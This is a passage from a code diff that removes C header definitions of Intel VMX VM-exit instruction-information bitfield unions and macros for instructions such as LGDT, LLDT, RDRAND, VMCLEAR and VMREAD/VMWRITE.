(bit 22 is set). - */ - uint64_t general_purpose_register : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER_BIT 18 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER_FLAG 0x3C0000 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER(_) (((_) >> 18) & 0x0F) - - /** - * [Bit 22] IndexReg invalid (0 = valid; 1 = invalid). - */ - uint64_t general_purpose_register_invalid : 1; -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER_INVALID_BIT 22 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER_INVALID_FLAG 0x400000 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER_INVALID_MASK 0x01 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER_INVALID(_) (((_) >> 22) & 0x01) - - /** - * [Bits 26:23] BaseReg (encoded as IndexReg above). Undefined for memory instructions with no base register (bit 27 is - * set). - */ - uint64_t base_register : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER_BIT 23 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER_FLAG 0x7800000 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER(_) (((_) >> 23) & 0x0F) - - /** - * [Bit 27] BaseReg invalid (0 = valid; 1 = invalid). - */ - uint64_t base_register_invalid : 1; -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER_INVALID_BIT 27 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER_INVALID_FLAG 0x8000000 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER_INVALID_MASK 0x01 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER_INVALID(_) (((_) >> 27) & 0x01) - - /** - * [Bits 31:28] Reg2 (same encoding as IndexReg above). - */ - uint64_t register_2 : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_REGISTER_2_BIT 28 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_REGISTER_2_FLAG 0xF0000000 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_REGISTER_2_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_REGISTER_2(_) (((_) >> 28) & 0x0F) - uint64_t reserved3 : 32; - }; - - uint64_t flags; -} vmx_vmexit_instruction_info_invalidate; - -/** - * @brief VM-Exit Instruction-Information Field as Used for LIDT, LGDT, SIDT, or SGDT - */ -typedef union -{ - struct - { - /** - * @brief Scaling - * - * [Bits 1:0] 0: no scaling - * 1: scale by 2 - * 2: scale by 4 - * 3: scale by 8 (used only on processors that support Intel 64 architecture) - * Undefined for instructions with no index register (bit 22 is set). - */ - uint64_t scaling : 2; -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SCALING_BIT 0 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SCALING_FLAG 0x03 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SCALING_MASK 0x03 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SCALING(_) (((_) >> 0) & 0x03) - uint64_t reserved1 : 5; - - /** - * @brief Address size - * - * [Bits 9:7] 0: 16-bit - * 1: 32-bit - * 2: 64-bit (used only on processors that support Intel 64 architecture) - * Other values not used. - */ - uint64_t address_size : 3; -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_ADDRESS_SIZE_BIT 7 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_ADDRESS_SIZE_FLAG 0x380 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_ADDRESS_SIZE_MASK 0x07 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_ADDRESS_SIZE(_) (((_) >> 7) & 0x07) - uint64_t reserved2 : 1; - - /** - * @brief Operand size - * - * [Bit 11] 0: 16-bit - * 1: 32-bit - * Undefined for VM exits from 64-bit mode. - */ - uint64_t operand_size : 1; -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_OPERAND_SIZE_BIT 11 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_OPERAND_SIZE_FLAG 0x800 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_OPERAND_SIZE_MASK 0x01 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_OPERAND_SIZE(_) (((_) >> 11) & 0x01) - uint64_t reserved3 : 3; - - /** - * @brief Segment register - * - * [Bits 17:15] 0: ES - * 1: CS - * 2: SS - * 3: DS - * 4: FS - * 5: GS - * Other values not used. - */ - uint64_t segment_register : 3; -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SEGMENT_REGISTER_BIT 15 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SEGMENT_REGISTER_FLAG 0x38000 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SEGMENT_REGISTER_MASK 0x07 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SEGMENT_REGISTER(_) (((_) >> 15) & 0x07) - - /** - * [Bits 21:18] General-purpose register. Undefined for instructions with no index register (bit 22 is set). - */ - uint64_t general_purpose_register : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER_BIT 18 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER_FLAG 0x3C0000 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER(_) (((_) >> 18) & 0x0F) - - /** - * [Bit 22] IndexReg invalid (0 = valid; 1 = invalid). - */ - uint64_t general_purpose_register_invalid : 1; -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID_BIT 22 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID_FLAG 0x400000 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID_MASK 0x01 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID(_) (((_) >> 22) & 0x01) - - /** - * [Bits 26:23] BaseReg (encoded as IndexReg above). Undefined for memory instructions with no base register (bit 27 is - * set). - */ - uint64_t base_register : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER_BIT 23 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER_FLAG 0x7800000 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER(_) (((_) >> 23) & 0x0F) - - /** - * [Bit 27] BaseReg invalid (0 = valid; 1 = invalid). - */ - uint64_t base_register_invalid : 1; -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER_INVALID_BIT 27 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER_INVALID_FLAG 0x8000000 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER_INVALID_MASK 0x01 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER_INVALID(_) (((_) >> 27) & 0x01) - - /** - * @brief Instruction identity - * - * [Bits 29:28] 0: SGDT - * 1: SIDT - * 2: LGDT - * 3: LIDT - */ - uint64_t instruction : 2; -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_INSTRUCTION_BIT 28 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_INSTRUCTION_FLAG 0x30000000 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_INSTRUCTION_MASK 0x03 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_INSTRUCTION(_) (((_) >> 28) & 0x03) - uint64_t reserved4 : 34; - }; - - uint64_t flags; -} vmx_vmexit_instruction_info_gdtr_idtr_access; - -/** - * @brief VM-Exit Instruction-Information Field as Used for LLDT, LTR, SLDT, and STR - */ -typedef union -{ - struct - { - /** - * @brief Scaling - * - * [Bits 1:0] 0: no scaling - * 1: scale by 2 - * 2: scale by 4 - * 3: scale by 8 (used only on processors that support Intel 64 architecture) - * Undefined for instructions with no index register (bit 22 is set). - */ - uint64_t scaling : 2; -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SCALING_BIT 0 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SCALING_FLAG 0x03 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SCALING_MASK 0x03 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SCALING(_) (((_) >> 0) & 0x03) - uint64_t reserved1 : 1; - - /** - * [Bits 6:3] Reg1. Undefined for memory instructions (bit 10 is clear). - */ - uint64_t reg_1 : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_REG_1_BIT 3 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_REG_1_FLAG 0x78 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_REG_1_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_REG_1(_) (((_) >> 3) & 0x0F) - - /** - * @brief Address size - * - * [Bits 9:7] 0: 16-bit - * 1: 32-bit - * 2: 64-bit (used only on processors that support Intel 64 architecture) - * Other values not used. Undefined for register instructions (bit 10 is set). - */ - uint64_t address_size : 3; -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_ADDRESS_SIZE_BIT 7 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_ADDRESS_SIZE_FLAG 0x380 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_ADDRESS_SIZE_MASK 0x07 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_ADDRESS_SIZE(_) (((_) >> 7) & 0x07) - - /** - * [Bit 10] Mem/Reg (0 = memory; 1 = register). - */ - uint64_t memory_register : 1; -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_MEMORY_REGISTER_BIT 10 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_MEMORY_REGISTER_FLAG 0x400 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_MEMORY_REGISTER_MASK 0x01 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_MEMORY_REGISTER(_) (((_) >> 10) & 0x01) - uint64_t reserved2 : 4; - - /** - * @brief Segment register - * - * [Bits 17:15] 0: ES - * 1: CS - * 2: SS - * 3: DS - * 4: FS - * 5: GS - * Other values not used. Undefined for register instructions (bit 10 is set). - */ - uint64_t segment_register : 3; -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SEGMENT_REGISTER_BIT 15 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SEGMENT_REGISTER_FLAG 0x38000 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SEGMENT_REGISTER_MASK 0x07 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SEGMENT_REGISTER(_) (((_) >> 15) & 0x07) - - /** - * [Bits 21:18] General-purpose register. Undefined for register instructions (bit 10 is set) and for memory instructions - * with no index register (bit 10 is clear and bit 22 is set). - */ - uint64_t general_purpose_register : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER_BIT 18 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER_FLAG 0x3C0000 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER(_) (((_) >> 18) & 0x0F) - - /** - * [Bit 22] IndexReg invalid (0 = valid; 1 = invalid). Undefined for register instructions (bit 10 is set). - */ - uint64_t general_purpose_register_invalid : 1; -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID_BIT 22 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID_FLAG 0x400000 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID_MASK 0x01 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID(_) (((_) >> 22) & 0x01) - - /** - * [Bits 26:23] BaseReg (encoded as IndexReg above). Undefined for register instructions (bit 10 is set) and for memory - * instructions with no base register (bit 10 is clear and bit 27 is set). - */ - uint64_t base_register : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER_BIT 23 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER_FLAG 0x7800000 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER(_) (((_) >> 23) & 0x0F) - - /** - * [Bit 27] BaseReg invalid (0 = valid; 1 = invalid). Undefined for register instructions (bit 10 is set). - */ - uint64_t base_register_invalid : 1; -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER_INVALID_BIT 27 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER_INVALID_FLAG 0x8000000 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER_INVALID_MASK 0x01 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER_INVALID(_) (((_) >> 27) & 0x01) - - /** - * @brief Instruction identity - * - * [Bits 29:28] 0: SLDT - * 1: STR - * 2: LLDT - * 3: LTR - */ - uint64_t instruction : 2; -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_INSTRUCTION_BIT 28 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_INSTRUCTION_FLAG 0x30000000 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_INSTRUCTION_MASK 0x03 -#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_INSTRUCTION(_) (((_) >> 28) & 0x03) - uint64_t reserved3 : 34; - }; - - uint64_t flags; -} vmx_vmexit_instruction_info_ldtr_tr_access; - -/** - * @brief VM-Exit Instruction-Information Field as Used for RDRAND and RDSEED - */ -typedef union -{ - struct - { - uint64_t reserved1 : 3; - - /** - * [Bits 6:3] Destination register. - */ - uint64_t destination_register : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_DESTINATION_REGISTER_BIT 3 -#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_DESTINATION_REGISTER_FLAG 0x78 -#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_DESTINATION_REGISTER_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_DESTINATION_REGISTER(_) (((_) >> 3) & 0x0F) - uint64_t reserved2 : 4; - - /** - * @brief Operand size - * - * [Bits 12:11] 0: 16-bit - * 1: 32-bit - * 2: 64-bit - * The value 3 is not used. - */ - uint64_t operand_size : 2; -#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_OPERAND_SIZE_BIT 11 -#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_OPERAND_SIZE_FLAG 0x1800 -#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_OPERAND_SIZE_MASK 0x03 -#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_OPERAND_SIZE(_) (((_) >> 11) & 0x03) - uint64_t reserved3 : 51; - }; - - uint64_t flags; -} vmx_vmexit_instruction_info_rdrand_rdseed; - -/** - * @brief VM-Exit Instruction-Information Field as Used for VMCLEAR, VMPTRLD, VMPTRST, VMXON, XRSTORS, and XSAVES - */ -typedef union -{ - struct - { - /** - * @brief Scaling - * - * [Bits 1:0] 0: no scaling - * 1: scale by 2 - * 2: scale by 4 - * 3: scale by 8 (used only on processors that support Intel 64 architecture) - * Undefined for instructions with no index register (bit 22 is set). - */ - uint64_t scaling : 2; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SCALING_BIT 0 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SCALING_FLAG 0x03 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SCALING_MASK 0x03 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SCALING(_) (((_) >> 0) & 0x03) - uint64_t reserved1 : 5; - - /** - * @brief Address size - * - * [Bits 9:7] 0: 16-bit - * 1: 32-bit - * 2: 64-bit (used only on processors that support Intel 64 architecture) - * Other values not used. - */ - uint64_t address_size : 3; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_ADDRESS_SIZE_BIT 7 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_ADDRESS_SIZE_FLAG 0x380 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_ADDRESS_SIZE_MASK 0x07 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_ADDRESS_SIZE(_) (((_) >> 7) & 0x07) - uint64_t reserved2 : 5; - - /** - * @brief Segment register - * - * [Bits 17:15] 0: ES - * 1: CS - * 2: SS - * 3: DS - * 4: FS - * 5: GS - * Other values not used. - */ - uint64_t segment_register : 3; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SEGMENT_REGISTER_BIT 15 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SEGMENT_REGISTER_FLAG 0x38000 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SEGMENT_REGISTER_MASK 0x07 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SEGMENT_REGISTER(_) (((_) >> 15) & 0x07) - - /** - * [Bits 21:18] General-purpose register. Undefined for instructions with no index register (bit 22 is set). - */ - uint64_t general_purpose_register : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER_BIT 18 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER_FLAG 0x3C0000 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER(_) (((_) >> 18) & 0x0F) - - /** - * [Bit 22] IndexReg invalid (0 = valid; 1 = invalid). - */ - uint64_t general_purpose_register_invalid : 1; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER_INVALID_BIT 22 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER_INVALID_FLAG 0x400000 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER_INVALID_MASK 0x01 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER_INVALID(_) (((_) >> 22) & 0x01) - - /** - * [Bits 26:23] BaseReg (encoded as IndexReg above). Undefined for memory instructions with no base register (bit 27 is - * set). - */ - uint64_t base_register : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER_BIT 23 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER_FLAG 0x7800000 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER(_) (((_) >> 23) & 0x0F) - - /** - * [Bit 27] BaseReg invalid (0 = valid; 1 = invalid). - */ - uint64_t base_register_invalid : 1; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER_INVALID_BIT 27 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER_INVALID_FLAG 0x8000000 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER_INVALID_MASK 0x01 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER_INVALID(_) (((_) >> 27) & 0x01) - uint64_t reserved3 : 36; - }; - - uint64_t flags; -} vmx_vmexit_instruction_info_vmx_and_xsaves; - -/** - * @brief VM-Exit Instruction-Information Field as Used for VMREAD and VMWRITE - */ -typedef union -{ - struct - { - /** - * @brief Scaling - * - * [Bits 1:0] 0: no scaling - * 1: scale by 2 - * 2: scale by 4 - * 3: scale by 8 (used only on processors that support Intel 64 architecture) - * Undefined for register instructions (bit 10 is set) and for memory instructions with no index register (bit 10 is clear - * and bit 22 is set). - */ - uint64_t scaling : 2; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SCALING_BIT 0 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SCALING_FLAG 0x03 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SCALING_MASK 0x03 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SCALING(_) (((_) >> 0) & 0x03) - uint64_t reserved1 : 1; - - /** - * [Bits 6:3] Reg1. Undefined for memory instructions (bit 10 is clear). - */ - uint64_t register_1 : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_1_BIT 3 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_1_FLAG 0x78 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_1_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_1(_) (((_) >> 3) & 0x0F) - - /** - * @brief Address size - * - * [Bits 9:7] 0: 16-bit - * 1: 32-bit - * 2: 64-bit (used only on processors that support Intel 64 architecture) - * Other values not used. Undefined for register instructions (bit 10 is set). - */ - uint64_t address_size : 3; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_ADDRESS_SIZE_BIT 7 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_ADDRESS_SIZE_FLAG 0x380 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_ADDRESS_SIZE_MASK 0x07 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_ADDRESS_SIZE(_) (((_) >> 7) & 0x07) - - /** - * [Bit 10] Mem/Reg (0 = memory; 1 = register). - */ - uint64_t memory_register : 1; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_MEMORY_REGISTER_BIT 10 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_MEMORY_REGISTER_FLAG 0x400 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_MEMORY_REGISTER_MASK 0x01 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_MEMORY_REGISTER(_) (((_) >> 10) & 0x01) - uint64_t reserved2 : 4; - - /** - * @brief Segment register - * - * [Bits 17:15] 0: ES - * 1: CS - * 2: SS - * 3: DS - * 4: FS - * 5: GS - * Other values not used. Undefined for register instructions (bit 10 is set). - */ - uint64_t segment_register : 3; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SEGMENT_REGISTER_BIT 15 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SEGMENT_REGISTER_FLAG 0x38000 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SEGMENT_REGISTER_MASK 0x07 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SEGMENT_REGISTER(_) (((_) >> 15) & 0x07) - - /** - * [Bits 21:18] General-purpose register. Undefined for register instructions (bit 10 is set) and for memory instructions - * with no index register (bit 10 is clear and bit 22 is set). - */ - uint64_t general_purpose_register : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER_BIT 18 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER_FLAG 0x3C0000 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER(_) (((_) >> 18) & 0x0F) - - /** - * [Bit 22] IndexReg invalid (0 = valid; 1 = invalid). Undefined for register instructions (bit 10 is set). - */ - uint64_t general_purpose_register_invalid : 1; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER_INVALID_BIT 22 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER_INVALID_FLAG 0x400000 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER_INVALID_MASK 0x01 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER_INVALID(_) (((_) >> 22) & 0x01) - - /** - * [Bits 26:23] BaseReg (encoded as Reg1 above). Undefined for register instructions (bit 10 is set) and for memory - * instructions with no base register (bit 10 is clear and bit 27 is set). - */ - uint64_t base_register : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER_BIT 23 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER_FLAG 0x7800000 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER(_) (((_) >> 23) & 0x0F) - - /** - * [Bit 27] BaseReg invalid (0 = valid; 1 = invalid). - */ - uint64_t base_register_invalid : 1; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER_INVALID_BIT 27 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER_INVALID_FLAG 0x8000000 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER_INVALID_MASK 0x01 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER_INVALID(_) (((_) >> 27) & 0x01) - - /** - * [Bits 31:28] Reg2 (same encoding as IndexReg above). - */ - uint64_t register_2 : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_2_BIT 28 -#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_2_FLAG 0xF0000000 -#define 